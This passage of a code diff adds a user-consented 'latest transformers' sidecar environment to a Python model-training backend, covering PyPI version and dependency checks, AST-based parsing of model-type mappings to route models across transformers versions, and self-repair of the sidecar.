+    if body is None or body == _FETCH_MISSING:
+        return None
+    try:
+        reqs = json.loads(body).get("info", {}).get("requires_dist")
+    except Exception:
+        return None
+    if not isinstance(reqs, list):
+        return None
+    return [r for r in reqs if isinstance(r, str)]
+
+
+def _resolve_exact_version(name: str, specifier) -> str | None:
+    """Newest PyPI release of *name* satisfying *specifier* (exact pin for the shadow)."""
+    body = _fetch_text(f"https://pypi.org/pypi/{name}/json")
+    if body is None or body == _FETCH_MISSING:
+        return None
+    try:
+        from packaging.version import InvalidVersion, Version
+
+        releases = json.loads(body).get("releases", {})
+        best = None
+        for candidate in releases:
+            try:
+                parsed = Version(candidate)
+            except InvalidVersion:
+                continue
+            if parsed.is_prerelease or not specifier.contains(candidate):
+                continue
+            if best is None or parsed > Version(best):
+                best = candidate
+        return best
+    except Exception as exc:
+        logger.debug("Could not resolve an exact %s version: %s", name, exc)
+        return None
+
+
+def compat_plan(version: str) -> tuple[tuple[str, ...], list[str]]:
+    """(extra exact pins to shadow-install, blocking requirement strings) for *version*.
+
+    Compares the release's core requires_dist against the running base env (the env the
+    workers overlay the sidecar onto). A requirement the base env satisfies needs nothing;
+    an unsatisfied shadowable dep becomes an exact pin inside the sidecar; any other
+    unsatisfied requirement is a blocker. An unavailable requires_dist BLOCKS the
+    install: proceeding unverified could pin a sidecar whose imports then crash the
+    workers, and the caller just reached PyPI for the version check so a retry is cheap.
+    """
+    reqs = _fetch_requires_dist(version)
+    if reqs is None:
+        return (), ["dependency metadata for this release (could not be fetched from PyPI; retry)"]
+    try:
+        from importlib.metadata import PackageNotFoundError
+        from importlib.metadata import version as _installed_version
+        from packaging.requirements import InvalidRequirement, Requirement
+    except Exception:
+        return (), []
+    extras: list[str] = []
+    blockers: list[str] = []
+    for raw in reqs:
+        try:
+            req = Requirement(raw)
+        except InvalidRequirement:
+            continue
+        if req.extras or (req.marker is not None and not req.marker.evaluate()):
+            continue
+        name = _canonical_dep_name(req.name)
+        if name in _IGNORED_DEPS:
+            continue
+        if name in _SIDECAR_PROVIDED:
+            if not req.specifier.contains(_SIDECAR_PROVIDED[name], prereleases = True):
+                blockers.append(raw)
+            continue
+        try:
+            installed = _installed_version(req.name)
+        except PackageNotFoundError:
+            installed = None
+        if installed is not None and req.specifier.contains(installed, prereleases = True):
+            continue
+        if name in _SHADOWABLE_DEPS:
+            exact = _resolve_exact_version(name, req.specifier)
+            if exact is None:
+                blockers.append(raw)
+            else:
+                extras.append(f"{name}=={exact}")
+        else:
+            blockers.append(raw)
+    return tuple(extras), blockers
+
+
+def is_install_in_progress() -> bool:
+    """True while a latest-transformers install or lazy repair holds the sidecar swap
+    reservation. Training and export starts check this so a fresh worker never
+    activates the sidecar mid-swap."""
+    from utils.transformers_version import sidecar_swap_in_progress
+    return sidecar_swap_in_progress()
+
+
+def install_latest_transformers(
+    version: str,
+    before_swap = None,
+    reserved: bool = False,
+) -> dict:
+    """Consented install of the latest transformers sidecar; returns a structured result.
+
+    Guards: the requested *version* must match the current PyPI latest from the (cached)
+    snapshot, so a client cannot pin an arbitrary package version through this endpoint.
+    On success ``.venv_t5_latest`` is provisioned and pinned; routing then resolves the
+    new tier automatically on this and every future start. *before_swap* is forwarded
+    to the stage-and-swap: it runs only after the staged install succeeded, right
+    before the live sidecar is replaced. *reserved* means the caller already holds the
+    sidecar swap reservation (the install route takes it before waiting on the
+    inference lifecycle gate, so worker starts see it for the whole window).
+    """
+    from utils.transformers_version import end_sidecar_swap, try_begin_sidecar_swap
+
+    if not reserved and not try_begin_sidecar_swap():
+        return {
+            "success": False,
+            "version": version,
+            "message": "A transformers installation is already in progress.",
+        }
+    try:
+        return _install_latest_transformers_locked(version, before_swap = before_swap)
+    finally:
+        if not reserved:
+            end_sidecar_swap()
+
+
+def _install_latest_transformers_locked(version: str, before_swap = None) -> dict:
+    """Body of install_latest_transformers; runs with the in-progress flag held."""
+    if _disabled():
+        return {
+            "success": False,
+            "version": version,
+            "message": "Latest-transformers installs are disabled "
+            "(UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS).",
+        }
+    if _env_offline():
+        return {
+            "success": False,
+            "version": version,
+            "message": "Cannot install: Studio is in offline mode.",
+        }
+    # Re-verify against a LIVE snapshot (a release may land inside the cache TTL);
+    # fall back to the cached one on fetch failure.
+    global _memory_snapshot
+    snapshot = _refresh_snapshot()
+    if snapshot is not None:
+        with _lock:
+            _memory_snapshot = snapshot
+        _save_snapshot_file(snapshot)
+    else:
+        snapshot = _get_snapshot()
+    if snapshot is None:
+        return {
+            "success": False,
+            "version": version,
+            "message": "Could not verify the latest transformers release on PyPI.",
+        }
+    if version != snapshot["pypi_version"]:
+        return {
+            "success": False,
+            "version": version,
+            "message": f"Requested version {version!r} is not the latest transformers "
+            f"release ({snapshot['pypi_version']}).",
+            # Lets the consent dialog retry with the release that superseded the
+            # one /validate saw, instead of re-sending the stale version forever.
+            "latest_version": snapshot["pypi_version"],
+        }
+    extra_packages, blockers = compat_plan(version)
+    if blockers:
+        return {
+            "success": False,
+            "version": version,
+            "message": "Cannot install transformers "
+            f"{version}: this environment does not satisfy {', '.join(blockers)}. "
+            "A Studio update is required first.",
+        }
+    if not ensure_latest_transformers_venv(version, extra_packages, before_swap = before_swap):
+        return {
+            "success": False,
+            "version": version,
+            "message": f"Installing transformers {version} failed; see the Studio logs.",
+        }
+    _invalidate_capability_caches()
+    return {
+        "success": True,
+        "version": version,
+        "message": f"Installed transformers {version} into the latest sidecar "
+        f"(pinned: {latest_venv_pinned_version()}).",
+    }
+
+
+def _invalidate_capability_caches():
+    """Drop caches computed before the new sidecar existed: tier probes and the
+    latest tier's model_type mapping (stale on upgrade) plus vision detection
+    (a raw-heuristic False may now defer to the sidecar AutoConfig probe)."""
+    try:
+        from utils import transformers_version as tv
+        tv._probe_tier_cache.clear()
+        tv._config_mapping_cache.pop("latest", None)
+    except Exception:
+        pass
+    try:
+        from utils.models import model_config as mc
+        mc._vision_detection_cache.clear()
+    except Exception:
+        pass
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index ac0ecfbfcd..9f9f8aa3de 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -28,14 +28,19 @@ Strategy:
   sys.path swap using the same directories pre-installed by setup.sh.
 """
 
+import ast
 import importlib
+import importlib.util
 import json
 import structlog
 from loggers import get_logger
 import os
+import re
 import shutil
 import subprocess
 import sys
+import threading
+import time
 from pathlib import Path
 
 from utils.native_path_leases import child_env_without_native_path_secret
@@ -173,6 +178,7 @@ _TRANSFORMERS_530_ARCHITECTURES: set[str] = {
     "Qwen3MoeForCausalLM",
     "Qwen3NextForCausalLM",
     "Glm4MoeLiteForCausalLM",
+    "Lfm2MoeForCausalLM",
     "Lfm2VlForConditionalGeneration",
 }
 _TRANSFORMERS_530_MODEL_TYPES: set[str] = {
@@ -183,6 +189,7 @@ _TRANSFORMERS_530_MODEL_TYPES: set[str] = {
     "qwen3_moe",
     "qwen3_next",
     "glm4_moe_lite",
+    "lfm2_moe",
     "lfm2_vl",
 }
 
@@ -226,8 +233,17 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510")
 # Backwards-compat alias
 _VENV_T5_DIR = _VENV_T5_550_DIR
 
-# Tier precedence: higher rank wins in _higher_tier.
-_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3}
+# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_*
+# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it
+# reuses the workspace torch (torch-agnostic).
+_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor")
+
+# User-consented "latest transformers" sidecar (utils/transformers_latest.py); pinned version in a marker file.
+_VENV_T5_LATEST_DIR = str(_studio_root() / ".venv_t5_latest")
+_LATEST_PIN_MARKER = ".unsloth_pinned_transformers"
+
+# Tier precedence: higher rank wins in _higher_tier. "latest" outranks every fixed tier.
+_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3, "latest": 4}
 
 
 def _higher_tier(a: str, b: str) -> str:
@@ -245,20 +261,40 @@ def activate_transformers_for_subprocess(model_name: str, hf_token: str | None =
     ``hf_token`` is forwarded to tier detection so a gated/private model whose only 5.x
     signal is an authenticated config/tokenizer reaches the right sidecar, not the default.
     """
-    # Pre-resolve only LoRA adapters; full checkpoints go to get_transformers_tier so their
-    # local config.json drives the tier (a full checkpoint with a private/offline
-    # _name_or_path must not resolve to an unreachable HF id and skip its own config).
+    # Pre-resolve LoRA adapters (local dir or remote adapter repo); full checkpoints
+    # go to get_transformers_tier so their local config.json drives the tier (a full
+    # checkpoint with a private/offline _name_or_path must not resolve to an
+    # unreachable HF id and skip its own config). Remote adapters activate for their
+    # BASE model, matching latest_tier_active_for and the inference worker.
     if _is_lora_adapter_dir(Path(model_name)):
         resolved = _resolve_base_model(model_name)
     else:
-        resolved = model_name
+        resolved = _remote_lora_base(model_name, hf_token = hf_token) or model_name
     tier = get_transformers_tier(resolved, hf_token)
     if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
         # Gate on a real local config.json: a checkpoint carries config the base may not
         # surface, but path names alone must not upgrade a plain adapter.
         tier = _higher_tier(tier, get_transformers_tier(model_name, hf_token))
 
-    if tier == "510":
+    if tier == "latest":
+        pinned = latest_venv_pinned_version()
+        if pinned is None or not _ensure_venv_t5_latest_exists():
+            raise RuntimeError(
+                f"Cannot activate the latest-transformers sidecar: "
+                f".venv_t5_latest missing or unpinned at {_VENV_T5_LATEST_DIR}"
+            )
+        if _VENV_T5_LATEST_DIR not in sys.path:
+            sys.path.insert(0, _VENV_T5_LATEST_DIR)
+        logger.info(
+            "Prepended transformers %s venv to sys.path from %s "
+            "(path only; the loaded version is confirmed later by "
+            "'Subprocess loaded transformers ...' on first import)",
+            pinned,
+            _VENV_T5_LATEST_DIR,
+        )
+        _pp = os.environ.get("PYTHONPATH", "")
+        os.environ["PYTHONPATH"] = _VENV_T5_LATEST_DIR + (os.pathsep + _pp if _pp else "")
+    elif tier == "510":
         if not _ensure_venv_t5_510_exists():
             raise RuntimeError(
                 f"Cannot activate transformers {TRANSFORMERS_510_VERSION}: "
@@ -313,6 +349,34 @@ def activate_transformers_for_subprocess(model_name: str, hf_token: str | None =
         logger.info("Using default transformers (4.57.x) for %s", model_name)
 
 
+def latest_tier_active_for(model_name: str, hf_token: str | None = None) -> bool:
+    """True when *model_name* routes to the consented latest-transformers sidecar.
+
+    Mirrors the inference worker's pre-activation resolution (local adapter dir,
+    then a remote adapter's Hub adapter_config.json). ``latest`` only wins when
+    the sidecar exists with a valid pin, i.e. exactly the loads that will import
+    the newest release. Never raises: any resolution failure returns False so
+    callers treat the model as a known tier.
+    """
+    try:
+        # No consented sidecar pin means nothing routes to latest; return before
+        # any resolution so the common case costs no config or network reads.
+        if latest_venv_pinned_version() is None:
+            return False
+        if _is_lora_adapter_dir(Path(model_name)):
+            resolved = _resolve_base_model(model_name)
+        else:
+            # A remote LoRA activates the sidecar for its BASE model; sizing and the
+            # worker's 4-bit guard must see that base too, not the adapter repo.
+            resolved = _remote_lora_base(model_name, hf_token = hf_token) or model_name
+        tier = get_transformers_tier(resolved, hf_token)
+        if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"):
+            tier = _higher_tier(tier, get_transformers_tier(model_name, hf_token))
+        return tier == "latest"
+    except Exception:
+        return False
+
+
 def _has_adapter_weights(path: Path) -> bool:
     """True if *path* holds LoRA adapter weight files (``adapter_model.*``)."""
     try:
@@ -865,6 +929,255 @@ def _cached_config_json(model_name: str, hf_token: str | None) -> dict | None:
     return _config_json_cache.get(_token_cache_key(model_name, hf_token))
 
 
+# --- Static tier from CONFIG_MAPPING_NAMES (AST only: no import/network/exec) ---
+# A model_type absent from an overlay's mapping can't load there. Parse each sidecar's
+# config map from source and pick the lowest tier that ships it, so a new arch routes
+# correctly with no per-model table edit. Only ever upgrades default, never lowers.
+_config_mapping_cache: dict[str, frozenset[str]] = {}
+
+
+def _latest_tier_disabled() -> bool:
+    """Kill switch shared with utils.transformers_latest: lets operators roll
+    back a provisioned latest sidecar without deleting files."""
+    return os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower() in (
+        "1",
+        "true",
+        "yes",
+        "on",
+    )
+
+
+# Failed lazy repairs back off so a broken sidecar can't turn every routing
+# call into a pip install attempt.
+_latest_repair_failed_at: float = 0.0
+_LATEST_REPAIR_BACKOFF_SECS = 5 * 60
+
+
+def _latest_sidecar_intact() -> bool:
+    """The pinned latest sidecar exists with its transformers dir and every pinned
+    package. False when the pin itself is gone: a cached 'latest' mapping must then be
+    dropped (routing re-resolves to no latest tier), not trusted, and a sidecar that kept
+    transformers/ but lost a pinned package must self-heal rather than route models to a
+    latest tier that fails activation in workers, which refuse parent-only repairs.
+
+    (_overlay_transformers_dir only calls this after gating on a present pin, so the
+    pin-missing case here is the cache-revalidation caller whose pin was deleted after
+    the mapping was first cached.)"""
+    pin = _latest_pin_data()
+    if pin is None:
+        return False
+    return _venv_dir_is_valid(_VENV_T5_LATEST_DIR, tuple(pin["packages"]))
+
+
+def _overlay_transformers_dir(tier: str) -> str | None:
+    """transformers source dir for a tier, located without importing it."""
+    global _latest_repair_failed_at
+    if tier != "default":
+        # latest requires a valid pin and the kill switch off.
+        if tier == "latest" and (_latest_tier_disabled() or latest_venv_pinned_version() is None):
+            return None
+        root = {
+            "530": _VENV_T5_530_DIR,
+            "550": _VENV_T5_550_DIR,
+            "510": _VENV_T5_510_DIR,
+            "latest": _VENV_T5_LATEST_DIR,
+        }.get(tier)
+        src = os.path.join(root, "transformers") if root else None
+        if src and tier == "latest" and not _latest_sidecar_intact():
+            # A valid pin whose sidecar vanished or lost a pinned package (partial
+            # deletion, disk issue, interrupted external edits) must self-heal, or
+            # latest-only models either silently route to older tiers or reach a
+            # worker that cannot repair, failing every load until a manual
+            # reinstall. Repair under the swap reservation; back off after a
+            # failure so routing calls don't hammer pip.
+            repaired = False
+            if time.time() - _latest_repair_failed_at >= _LATEST_REPAIR_BACKOFF_SECS:
+                if _ensure_venv_t5_latest_exists():
+                    _latest_repair_failed_at = 0.0
+                    repaired = True
+                else:
+                    _latest_repair_failed_at = time.time()
+            if not repaired:
+                # Still broken: treat the overlay as unavailable rather than route
+                # models to a tier whose worker activation is known to fail. Models
+                # an older tier supports keep loading there until a repair succeeds,
+                # matching the behavior when the sidecar dir is missing entirely.
+                return None
+        return src if src and _safe_is_dir(Path(src)) else None
+    # default: the base 4.x transformers. find_spec resolves to a 5.x sidecar if one
+    # is already on sys.path, so skip any .venv_t5_* / llmcompressor overlay dir.
+    sidecars = tuple(
+        os.path.abspath(d) + os.sep
+        for d in (
+            _VENV_T5_530_DIR,
+            _VENV_T5_550_DIR,
+            _VENV_T5_510_DIR,
+            _VENV_T5_LATEST_DIR,
+            _VENV_LLMCOMPRESSOR_DIR,
+        )
+    )
+    candidates = []
+    try:
+        spec = importlib.util.find_spec("transformers")
+        if spec and spec.origin:
+            candidates.append(os.path.dirname(spec.origin))
+    except Exception:
+        pass
+    candidates += [os.path.join(e, "transformers") for e in sys.path if e]
+    for c in candidates:
+        if _safe_is_dir(Path(c)) and not os.path.abspath(c).startswith(sidecars):
+            return c
+    return None
+
+
+def _mapping_first_keys(value: ast.AST) -> set[str]:
+    """First keys of a dict literal, or of an OrderedDict(...)/dict(...)/.update(...)
+    built from 2-tuple lists and **{...} unpacking."""
+
+    def keys_of(node):
+        if isinstance(node, ast.Dict):
+            return list(node.keys)
+        if isinstance(node, (ast.List, ast.Tuple)):
+            return [
+                el.elts[0] for el in node.elts if isinstance(el, (ast.Tuple, ast.List)) and el.elts
+            ]
+        return []
+
+    nodes = keys_of(value)
+    if isinstance(value, ast.Call):
+        for a in value.args:
+            nodes += keys_of(a)
+        for kw in value.keywords:  # **{...} unpacking has kw.arg is None
+            if kw.arg is None:
+                nodes += keys_of(kw.value)
+    return {n.value for n in nodes if isinstance(n, ast.Constant) and isinstance(n.value, str)}
+
+
+def _model_types_from_source(source: str) -> set[str]:
+    """model_type keys of CONFIG_MAPPING_NAMES in *source* (AST only, no execution).
+
+    Handles the direct ``CONFIG_MAPPING_NAMES = ...`` binding (dict literal or
+    OrderedDict/dict call over 2-tuple lists and **{...} unpacking) and any
+    ``CONFIG_MAPPING_NAMES.update({...})`` mutation. Shared by the on-disk overlay
+    reader below and the remote latest-release checker (utils/transformers_latest.py).
+    """
+    keys: set[str] = set()
+    tree = ast.parse(source)
+    for node in ast.walk(tree):
+        if isinstance(node, ast.Assign) and any(
+            isinstance(t, ast.Name) and t.id == "CONFIG_MAPPING_NAMES" for t in node.targets
+        ):
+            keys |= _mapping_first_keys(node.value)
+        elif isinstance(node, ast.Expr) and isinstance(node.value, ast.Call):
+            fn = node.value.func
+            if (
+                isinstance(fn, ast.Attribute)
+                and fn.attr == "update"
+                and isinstance(fn.value, ast.Name)
+                and fn.value.id == "CONFIG_MAPPING_NAMES"
+            ):
+                keys |= _mapping_first_keys(node.value)
+    return keys
+
+
+def _config_model_types(tier: str) -> frozenset[str]:
+    """model_type keys in a tier's CONFIG_MAPPING_NAMES (5.10 moved it to auto_mappings.py)."""
+    # Kill switch beats the cache: a stale mapping must not keep routing latest-only models until restart.
+    if tier == "latest" and _latest_tier_disabled():
+        return frozenset()
+    cached = _config_mapping_cache.get(tier)
+    if cached is not None:
+        # A cached 'latest' mapping can outlive the sidecar it was parsed from: if the
+        # pinned sidecar was since deleted or lost a package in this process, drop the
+        # cache so routing re-resolves through _overlay_transformers_dir (which self-heals)
+        # instead of routing latest-only models to a broken tier until restart.
+        if tier != "latest" or _latest_sidecar_intact():
+            return cached
+        _config_mapping_cache.pop("latest", None)
+    tdir = _overlay_transformers_dir(tier)
+    if tdir is None:
+        return frozenset()  # overlay not provisioned yet; do not cache so a later call re-reads
+    keys: set[str] = set()
+    for rel in ("models/auto/configuration_auto.py", "models/auto/auto_mappings.py"):
+        path = Path(tdir) / rel
+        if not _safe_is_file(path):
+            continue
+        try:
+            keys |= _model_types_from_source(path.read_text(encoding = "utf-8"))
+        except Exception:
+            continue
+    result = frozenset(keys)
+    _config_mapping_cache[tier] = result
+    return result
+
+
+def _model_types_from_config(cfg: dict) -> list[str]:
+    """All model_types in the config: the primary (top-level, else first nested)
+    first, then every other nested sub-config. Wrappers instantiate sub-configs
+    through CONFIG_MAPPING, so nested types matter for routing too."""
+    seen: list[str] = []
+
+    def add(value):
+        if isinstance(value, str) and value and value not in seen:
+            seen.append(value)
+
+    add(cfg.get("model_type"))
+    for key in _NESTED_CONFIG_KEYS:
+        sub = cfg.get(key)
+        if isinstance(sub, dict):
+            add(sub.get("model_type"))
+    for value in cfg.values():
+        if isinstance(value, dict):
+            add(value.get("model_type"))
+    return seen
+
+
+def _lowest_tier_for(model_type: str) -> str | None:
+    for tier in sorted(_TIER_RANK, key = _TIER_RANK.get):
+        if model_type in _config_model_types(tier):
+            return tier
+    return None
+
+
+def _tier_from_config_mapping(cfg: dict) -> str | None:
+    """Lowest tier able to load every model_type in cfg, or None when the
+    primary type is unknown everywhere. A nested type can raise the tier (its
+    sub-config is built through CONFIG_MAPPING); an unknown nested type never
+    vetoes, since no installed tier could load it either way (the latest
+    checker handles surfacing the install prompt for it)."""
+    types = _model_types_from_config(cfg)
+    if not types:
+        return None
+    best = _lowest_tier_for(types[0])
+    if best is None:
+        return None
+    for model_type in types[1:]:
+        tier = _lowest_tier_for(model_type)
+        if tier is not None and _TIER_RANK[tier] > _TIER_RANK[best]:
+            best = tier
+    return best
+
+
+def _raise_tier_for_nested(cfg: dict | None, tier: str) -> str:
+    """Raise *tier* when the mapping resolver needs a higher one for *cfg*.
+
+    A wrapper's top-level model_type can match a hardcoded fast path while a
+    nested text/vision config's type only exists in a newer sidecar (e.g. the
+    installed latest); its sub-config is built through CONFIG_MAPPING, so the
+    fast-path tier would fail to load it. Raise-only: never lowers a fast-path
+    match, so name overrides (Qwen3.6) keep their tier. Never raises an
+    exception: a resolution failure keeps the fast-path tier."""
+    if not isinstance(cfg, dict):
+        return tier
+    try:
+        mapped = _tier_from_config_mapping(cfg)
+        if mapped is not None and _TIER_RANK.get(mapped, 0) > _TIER_RANK.get(tier, 0):
+            return mapped
+    except Exception:
+        pass
+    return tier
+
+
 # --- AutoConfig probe: general tier resolution for ambiguous models ----------
 # When the cheap signals only say "needs some 5.x", parse config.json with the built-in
 # parser in each candidate sidecar (lowest first) instead of guessing. Generalizes beyond
@@ -920,9 +1233,19 @@ def _probe_tier_venvs():
         "530": (_VENV_T5_530_DIR, _ensure_venv_t5_530_exists),
         "550": (_VENV_T5_550_DIR, _ensure_venv_t5_550_exists),
         "510": (_VENV_T5_510_DIR, _ensure_venv_t5_510_exists),
+        "latest": (_VENV_T5_LATEST_DIR, _ensure_venv_t5_latest_exists),
     }
 
 
+def _probe_tier_order() -> tuple[str, ...]:
+    """Sidecar probe order. The consented "latest" sidecar joins only once it is
+    provisioned (pin marker present): an absent optional tier must not flip the probe's
+    skipped-tier bookkeeping, keeping pre-latest behavior byte-identical."""
+    if not _latest_tier_disabled() and latest_venv_pinned_version() is not None:
+        return _PROBE_TIER_ORDER + ("latest",)
+    return _PROBE_TIER_ORDER
+
+
 def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) -> bool | None:
     """Parse config.json with the built-in parser inside *target_dir*'s sidecar.
     True = parses, False = parse/version failure (escalate), None = transient
@@ -1000,7 +1323,7 @@ def _probe_tier(
     stays on the default. Cached per _probe_cache_key (process lifetime). No Hub sha is
     resolved: that would import huggingface_hub before the sidecar is on sys.path.
     """
-    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes"):
+    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes", "on"):
         return floor
     key = _probe_cache_key(model_name)
     # Key by probe mode: the default-first path can return 'default', which must not be
@@ -1008,7 +1331,10 @@ def _probe_tier(
     if include_default or floor != "530":
         key = f"{key}\0floor={floor}:def={int(include_default)}"
     if key in _probe_tier_cache:
-        return _probe_tier_cache[key]
+        cached = _probe_tier_cache[key]
+        # Kill switch beats the cache (like _config_model_types): a stale 'latest' probe must not keep activating it.
+        if cached != "latest" or not _latest_tier_disabled():
+            return cached
 
     def _cache(tier: str, *, skipped: bool) -> str:
         # Do not pin a result that depended on a skipped lower tier: once that sidecar is
@@ -1018,7 +1344,8 @@ def _probe_tier(
         return tier
 
     venvs = _probe_tier_venvs()
-    order = (("default",) + _PROBE_TIER_ORDER) if include_default else _PROBE_TIER_ORDER
+    sidecar_order = _probe_tier_order()
+    order = (("default",) + sidecar_order) if include_default else sidecar_order
     probed_count = 0
     skipped_any = False
     for tier in order:
@@ -1145,17 +1472,21 @@ def get_transformers_tier(
         cfg = _load_config_json(model_name, hf_token)
         if cfg is not None:
             if _config_needs_510(cfg):
+                tier = _raise_tier_for_nested(cfg, "510")
                 logger.info(
-                    "Transformers tier 510 selected for %s (local config.json check)",
+                    "Transformers tier %s selected for %s (local config.json check)",
+                    tier,
                     model_name,
                 )
-                return "510"
+                return tier
             if _config_needs_550(cfg):
+                tier = _raise_tier_for_nested(cfg, "550")
                 logger.info(
-                    "Transformers tier 550 selected for %s (local config.json check)",
+                    "Transformers tier %s selected for %s (local config.json check)",
+                    tier,
                     model_name,
                 )
-                return "550"
+                return tier
             if _config_needs_530(cfg):
                 # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name. Only a real
                 # Hub id (or the folder basename) may override 530, so a stale local
@@ -1168,17 +1499,20 @@ def get_transformers_tier(
                 )
                 override = _higher_tier_name_override(hint_src)
                 if override is not None:
+                    override = _raise_tier_for_nested(cfg, override)
                     logger.info(
                         "Transformers tier %s selected for %s (name overrides 530 config)",
                         override,
                         model_name,
                     )
                     return override
+                tier = _raise_tier_for_nested(cfg, "530")
                 logger.info(
-                    "Transformers tier 530 selected for %s (local config.json check)",
+                    "Transformers tier %s selected for %s (local config.json check)",
+                    tier,
                     model_name,
                 )
-                return "530"
+                return tier
             # Unknown arch: resolve the base id from config. A resolved local dir
             # recurses (config check); a Hub id uses name rules only (no network).
             resolved = _resolve_base_model(model_name)
@@ -1205,6 +1539,14 @@ def get_transformers_tier(
                             match,
                         )
                         return tier
+            static = _tier_from_config_mapping(cfg)
+            if static is not None and static != "default":
+                logger.info(
+                    "Transformers tier %s selected for %s (config mapping: model_type absent below)",
+                    static,
+                    model_name,
+                )
+                return static
             local_tc = Path(model_name) / "tokenizer_config.json"
             if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name, hf_token):
                 if not probe:
@@ -1232,6 +1574,13 @@ def get_transformers_tier(
     result = _tier_from_name(model_name)
     if result is not None:
         tier, match = result
+        # With a consented latest sidecar pinned, a name that matches a fixed
+        # tier can still carry a latest-only model_type (e.g. a newer variant
+        # reusing a family name); consult the config so an accepted upgrade
+        # actually routes to the sidecar it installed. Costs a config read only
+        # in the pinned case, keeping the pre-latest path I/O-free.
+        if latest_venv_pinned_version() is not None:
+            tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), tier)
         logger.info(
             "Transformers tier %s selected for %s (substring match: %s)",
             tier,
@@ -1242,11 +1591,13 @@ def get_transformers_tier(
 
     # --- Slow config fallbacks (network for HF IDs; authenticated with hf_token) --------
     if _check_config_needs_510(model_name, hf_token):
-        logger.info("Transformers tier 510 selected for %s (config.json check)", model_name)
-        return "510"
+        tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), "510")
+        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        return tier
     if _check_config_needs_550(model_name, hf_token):
-        logger.info("Transformers tier 550 selected for %s (config.json check)", model_name)
-        return "550"
+        tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), "550")
+        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        return tier
     if _check_config_needs_530(model_name, hf_token):
         # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name; honor a real Hub-id name
         # hint from _name_or_path before selecting 530.
@@ -1256,14 +1607,28 @@ def get_transformers_tier(
             base if isinstance(base, str) and base != model_name else None
         )
         if override is not None:
+            override = _raise_tier_for_nested(remote_cfg, override)
             logger.info(
                 "Transformers tier %s selected for %s (name overrides 530 config)",
                 override,
                 model_name,
             )
             return override
-        logger.info("Transformers tier 530 selected for %s (config.json check)", model_name)
-        return "530"
+        tier = _raise_tier_for_nested(remote_cfg, "530")
+        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        return tier
+    # _load_config_json (not the cache-only reader) so a config served from the hub
+    # cache during a transient outage still feeds the mapping resolver.
+    remote_cfg = _load_config_json(model_name, hf_token)
+    if remote_cfg is not None:
+        static = _tier_from_config_mapping(remote_cfg)
+        if static is not None and static != "default":
+            logger.info(
+                "Transformers tier %s selected for %s (config mapping: model_type absent below)",
+                static,
+                model_name,
+            )
+            return static
     if _check_tokenizer_config_needs_v5(model_name, hf_token):
         if not probe:
             return "530"
@@ -1518,6 +1883,617 @@ def _ensure_venv_t5_exists() -> bool:
     return _ensure_venv_t5_550_exists()
 
 
+# --- User-consented "latest transformers" sidecar (.venv_t5_latest) --------------------------
+# Provisioned via ensure_latest_transformers_venv() after the user confirms the upgrade popup
+# (utils/transformers_latest.py); pinned in a marker file so restarts revalidate and routing auto-picks it.
+
+# PEP 440-ish release strings only (guards the pip install spec against injection).
+_LATEST_VERSION_RE = r"[0-9]+(\.[0-9]+)*((a|b|rc)[0-9]+)?(\.post[0-9]+)?(\.dev[0-9]+)?"
+
+
+def _is_valid_version_string(version: str) -> bool:
+    import re
+    return isinstance(version, str) and re.fullmatch(_LATEST_VERSION_RE, version) is not None
+
+
+# Only the sidecar recipe's own packages, as plain (optionally ==pinned) specs, may
+# come from the on-disk pin marker; anything else (URLs, extras, options) is rebuilt.
+_PIN_SPEC_RE = re.compile(r"^[A-Za-z0-9_.-]+(==[A-Za-z0-9_.+-]+)?$")
+_PIN_ALLOWED_NAMES = frozenset(
+    {
+        "transformers",
+        "huggingface_hub",
+        "huggingface-hub",
+        "hf_xet",
+        "hf-xet",
+        "tiktoken",
+        "tokenizers",
+        "safetensors",
+    }
+)
+
+
+def _is_safe_pin_spec(spec: str) -> bool:
+    if not _PIN_SPEC_RE.match(spec):
+        return False
+    name = spec.split("==", 1)[0].lower().replace("_", "-")
+    return name in {n.replace("_", "-") for n in _PIN_ALLOWED_NAMES}
+
+
+def _recover_stranded_latest_sidecar() -> None:
+    """Restore a sidecar stranded at ``.old`` by a swap whose activation rename AND its
+    rollback both failed (e.g. a lingering worker file handle on Windows blocked both).
+
+    That double failure leaves no live dir and the pin marker gone with it, so the
+    sidecar reads as unprovisioned and never self-heals. Recover only when no live dir
+    exists and no swap is in flight: the reservation is held throughout the swap, so the
+    transient live-absent window of a legitimate swap never triggers a restore."""
+    live = Path(_VENV_T5_LATEST_DIR)
+    retired = Path(_VENV_T5_LATEST_DIR + ".old")
+    try:
+        if live.exists() or not retired.is_dir() or sidecar_swap_in_progress():
+            return
+        os.rename(retired, live)
+        logger.info("Recovered .venv_t5_latest from a stranded .old after a failed swap")
+    except OSError:
+        pass
+
+
+def _latest_pin_data() -> dict | None:
+    """Parsed pin marker: {"version": str, "packages": [specs...]}, or None.
+
+    The marker is JSON; a plain version string (older/simpler writers) is tolerated and
+    expanded with the default package set.
+    """
+    _recover_stranded_latest_sidecar()
+    marker = Path(_VENV_T5_LATEST_DIR) / _LATEST_PIN_MARKER
+    try:
+        if not marker.is_file():
+            return None
+        raw = marker.read_text(encoding = "utf-8").strip()
